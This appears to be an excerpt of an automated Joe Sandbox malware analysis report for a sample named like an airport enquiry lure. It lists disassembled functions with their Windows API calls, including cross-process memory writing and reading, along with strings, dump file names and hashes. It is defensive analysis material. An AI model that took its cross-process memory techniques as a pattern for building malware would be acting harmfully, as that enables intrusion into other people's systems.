Function 00C813B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00C813BF
StrokeAndFillPath.GDI32(?,?,00CBBAD8,00000000,?), ref: 00C813DB
SelectObject.GDI32(?,00000000), ref: 00C813EE
DeleteObject.GDI32 ref: 00C81401
StrokePath.GDI32(?), ref: 00C8141C

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 37633d2873c2d421158eeed5da42fab8fb2b36aa0c58742b18969a306f3d9289
Instruction ID: 62901f587da88b4c9a1de884985f0265568366c9eded70dd79b049e441fed2a5
Opcode Fuzzy Hash: 37633d2873c2d421158eeed5da42fab8fb2b36aa0c58742b18969a306f3d9289
Instruction Fuzzy Hash: 96F0CD74004308DBDB215F16EC0C7543BE9A742326F58C224E92AC56F1C7318596DF75

Function 00CEC602 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00CEC69D
CoCreateInstance.OLE32(00D12D6C,00000000,00000001,00D12BDC,?), ref: 00CEC6B5

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

CoUninitialize.OLE32 ref: 00CEC922

Strings

.lnk, xrefs: 00CEC631, 00CEC659, 00CEC663

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: a169fce4a6840c5ca17d6cef72c4e88dde8aa5fbbab2c95499ad021470ae14e4
Instruction ID: 1342ed7cc959f576b27caba3f70b51b60dde513b8fd56fa48493019d9a659771
Opcode Fuzzy Hash: a169fce4a6840c5ca17d6cef72c4e88dde8aa5fbbab2c95499ad021470ae14e4
Instruction Fuzzy Hash: 5FA12B71108205AFD304EF54C8C1EABB7E8EF88708F14491CF156971A2EB71EA49DB66

Function 00C92E5B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00CA0FF6: std::exception::exception.LIBCMT ref: 00CA102C
Part of subcall function 00CA0FF6: __CxxThrowException@8.LIBCMT ref: 00CA1041

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Part of subcall function 00C87BB1: _memmove.LIBCMT ref: 00C87C0B

__swprintf.LIBCMT ref: 00C9302D

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00C92EC6

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 0a46d86792c126abe8d686c474328fa0b381304313ec0719ee8f41e5bbd0a8e7
Instruction ID: 4a43176e833aa27d4e626a553f2c82bf95d2460a1c22c66b7a461483e922c952
Opcode Fuzzy Hash: 0a46d86792c126abe8d686c474328fa0b381304313ec0719ee8f41e5bbd0a8e7
Instruction Fuzzy Hash: 1E91AB31108241AFCB28FF64D989D6EB7A4EF85744F04091DF4929B2A1EB70EE44DB56

Function 00CEBBA6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00C848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00C848A1,?,?,00C837C0,?), ref: 00C848CE

CoInitialize.OLE32(00000000), ref: 00CEBC26
CoCreateInstance.OLE32(00D12D6C,00000000,00000001,00D12BDC,?), ref: 00CEBC3F
CoUninitialize.OLE32 ref: 00CEBC5C

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

Strings

.lnk, xrefs: 00CEBC08, 00CEBC16

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: a32a26f90c8c3d346907ed2edb151145e2a9cea86cefe28dcef4c44fba6f6504
Instruction ID: 91d935a439d9b87480a34586925db6486830ac86c1de595e02d88cc75bda0d21
Opcode Fuzzy Hash: a32a26f90c8c3d346907ed2edb151145e2a9cea86cefe28dcef4c44fba6f6504
Instruction Fuzzy Hash: 83A158756043419FCB14EF15C884D6ABBE5FF88318F148998F89A9B3A1CB31EE45CB91

Function 00CA524D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00CA52DD

Part of subcall function 00CB0340: __87except.LIBCMT ref: 00CB037B

Strings

pow, xrefs: 00CA52B5, 00CA52D2

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 800719df98aa32e4bfadb7e98f98d178c90deb9655b45de22c91e09d1a27e729
Instruction ID: d8c9c29dbc4f29cb9cbe3bb9b9014c5df37e9c821bea98bb616b3ec867703e42
Opcode Fuzzy Hash: 800719df98aa32e4bfadb7e98f98d178c90deb9655b45de22c91e09d1a27e729
Instruction Fuzzy Hash: 4D515A61A0DB0297CB116714CA413FF2BE49B41754F30CE68E4A5822F9EF748ED4EE96

Function 00CA023B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

#, xrefs: 00CA0280
+, xrefs: 00CA0277

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: f67df70f3caa8942198be79c195a2c9ad2307381e3897993730db454f31819a1
Instruction ID: 50eee3364e1d77ebc00e052aebd4a008ae646b4b007f45041c86911e5675edc7
Opcode Fuzzy Hash: f67df70f3caa8942198be79c195a2c9ad2307381e3897993730db454f31819a1
Instruction Fuzzy Hash: E25123755052468FCF25EF28C4886FA7BA6EF26310F244056EDA19B3A0D730DE42DB71

Function 00C962F2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C963A8
_memmove.LIBCMT ref: 00C96446
_memset.LIBCMT ref: 00C9646A

Strings

ERCP, xrefs: 00C96313

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 32da04e5900befd5ad182e9bc31ab60d794e6e4e896ba76c748476e03ca90a5a
Instruction ID: 6e3397c83494db79606698ad06d8d8851c0db9cd5c104c478e904b34b11c46ab
Opcode Fuzzy Hash: 32da04e5900befd5ad182e9bc31ab60d794e6e4e896ba76c748476e03ca90a5a
Instruction Fuzzy Hash: 7B51B2719007099BDB24CFA5C8857AABBF4FF04714F24856EEA5ACB281E771D684CB50

Function 00CD9CD7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CE19CC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00CD9778,?,?,00000034,00000800,?,00000034), ref: 00CE19F6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00CD9D21

Part of subcall function 00CE1997: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00CD97A7,?,?,00000800,?,00001073,00000000,?,?), ref: 00CE19C1

Part of subcall function 00CE18EE: GetWindowThreadProcessId.USER32(?,?), ref: 00CE1919
Part of subcall function 00CE18EE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00CD973C,00000034,?,?,00001004,00000000,00000000), ref: 00CE1929
Part of subcall function 00CE18EE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00CD973C,00000034,?,?,00001004,00000000,00000000), ref: 00CE193F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00CD9D8E
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00CD9DDB

Strings

@, xrefs: 00CD9DF3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 9a67774a2771860deb14c1dda771d15557b89e5a27aeb94ad6e29a6392443242
Instruction ID: e331e8fe8dab76ec4ac02bf12d76c0236977296613fa61ad7609a99a27a224ee
Opcode Fuzzy Hash: 9a67774a2771860deb14c1dda771d15557b89e5a27aeb94ad6e29a6392443242
Instruction Fuzzy Hash: 19416D76900218AFCF10DFA4CC81BEEBBB8EF09300F144195FA55B7291CA716E95DBA0

Function 00D07BB5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00D0F910,00000000,?,?,?,?), ref: 00D07C4E
GetWindowLongW.USER32 ref: 00D07C6B
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00D07C7B

Strings

SysTreeView32, xrefs: 00D07C20

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: a8aab514ed110f983bf089066e170020c85c9897ffd669f2c12aad1dccf4d896
Instruction ID: c3fb081ccabd984c20086bdaf7e62d90350dc30637ce13ea60aa496d40bae148
Opcode Fuzzy Hash: a8aab514ed110f983bf089066e170020c85c9897ffd669f2c12aad1dccf4d896
Instruction Fuzzy Hash: 5F31AE31A04205ABEB219F34CC45BEA77A9EB45328F284725F879D72E0D731EC519B74

Function 00D07648 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00D076D0
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00D076E4
SendMessageW.USER32(?,00001002,00000000,?), ref: 00D07708

Strings

SysMonthCal32, xrefs: 00D0769B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 48ab5999b684e7c0dd5a3a6245def7896fd005bb787f14eec3001aad40afe779
Instruction ID: caa768e72f1993b2d443fbff4b27c2abe80927ae9224379e6c0842651b63e5f7
Opcode Fuzzy Hash: 48ab5999b684e7c0dd5a3a6245def7896fd005bb787f14eec3001aad40afe779
Instruction Fuzzy Hash: AF219132504219ABDF21DF54CC46FEA3B69EB48764F150214FE19AB1D0DAB1B8519BA0

Function 00D06F1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00D06FAA
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00D06FBA
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00D06FDF

Strings

Listbox, xrefs: 00D06F77

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 4a87193f2892f16561a8e1535790853203997b0523119a638ce17b51ebc07264
Instruction ID: ec7a9a59f6e96aee39d804c5132e9ec54fefa1ba95ad843f722d06621460750a
Opcode Fuzzy Hash: 4a87193f2892f16561a8e1535790853203997b0523119a638ce17b51ebc07264
Instruction Fuzzy Hash: 2121C532610119BFDF118F54DC85FAB3BAAEF89764F158124FA08971D0C671DC6287B0

Function 00D0797D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00D079E1
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00D079F6
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00D07A03

Strings

msctls_trackbar32, xrefs: 00D079B8

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 9191ddfcc3dac9c52e28860b82d2a2b67b80f90c79eb1eb971109d9d12170372
Instruction ID: 22ffcf4f381546b7ef3b65787cbd8be82f8610b1dde49395b34f08e5096764a4
Opcode Fuzzy Hash: 9191ddfcc3dac9c52e28860b82d2a2b67b80f90c79eb1eb971109d9d12170372
Instruction Fuzzy Hash: 7D11E372644208BBEF209F60CC05FEB37A9EF89B64F154519FA49A70D0D272E811DB70

Function 00C84C95 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00C84C2E), ref: 00C84CA3
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00C84CB5

Strings

GetNativeSystemInfo, xrefs: 00C84CAF
kernel32.dll, xrefs: 00C84C9E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 84e881304189959cfc9e657f55ef711aed9e0bc0334c6fa2479f9685fee40415
Instruction ID: 394f63de7b90743024ac4e2cebbd311a29e4943ab77d0b703d898dd6efda1c09
Opcode Fuzzy Hash: 84e881304189959cfc9e657f55ef711aed9e0bc0334c6fa2479f9685fee40415
Instruction Fuzzy Hash: 18D01731610723DFD730AF31DA1874676E9AF05795B21883A989AD6A90E6B4D880CB61

Function 00C84D94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00C84CE1,?), ref: 00C84DA2
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00C84DB4

Strings

kernel32.dll, xrefs: 00C84D9D
Wow64RevertWow64FsRedirection, xrefs: 00C84DAE

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: eca9dfd21a37cdcb1eb10ad2d33bdc81d57193ba5b1971812c5f6b8826fa0936
Instruction ID: a64dc727f1d64aa7ddaa5a603f1b6b5034c3e943f2e18bc714e43911de8c8bc0
Opcode Fuzzy Hash: eca9dfd21a37cdcb1eb10ad2d33bdc81d57193ba5b1971812c5f6b8826fa0936
Instruction Fuzzy Hash: 2CD01771550713DFD734AF31D808B8676E4AF09399B21883AD8DAD6A90E7B0D880CB61

Function 00C84D61 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00C84D2E,?,00C84F4F,?,00D462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00C84D6F
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00C84D81

Strings

Wow64DisableWow64FsRedirection, xrefs: 00C84D7B
kernel32.dll, xrefs: 00C84D6A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 6fde6cf418c5e0c19f1a92bdacb057f1e6f7a8248c0e1ebd529b1dd874260465
Instruction ID: 89ade76376bb76b9c375fb9be81dae36fabf55ef5ae8870901fe136253dfbd76
Opcode Fuzzy Hash: 6fde6cf418c5e0c19f1a92bdacb057f1e6f7a8248c0e1ebd529b1dd874260465
Instruction Fuzzy Hash: 48D01771510723CFD734AF31D80875676E8BF15356B218C3A989AD6A90E6B0D880CB61

Function 00D01072 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00D012C1), ref: 00D01080
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00D01092

Strings

RegDeleteKeyExW, xrefs: 00D0108C
advapi32.dll, xrefs: 00D0107B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 87d946809208c5bf78338bde54b5ef961b2ee3a5f7a4c6890acceacb4c3d9272
Instruction ID: 301ca91d6b22d88a6f894c249eaa03bfb92566aa4e5f3a72b1acf35a38ce27b9
Opcode Fuzzy Hash: 87d946809208c5bf78338bde54b5ef961b2ee3a5f7a4c6890acceacb4c3d9272
Instruction Fuzzy Hash: B8D0EC35510712CFD7305F35D81875776E4AF05361B15892AA8CDDA690D7B0C4808661

Function 00CF93F5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00CF9009,?,00D0F910), ref: 00CF9403
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00CF9415

Strings

kernel32.dll, xrefs: 00CF93FE
GetModuleHandleExW, xrefs: 00CF940F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
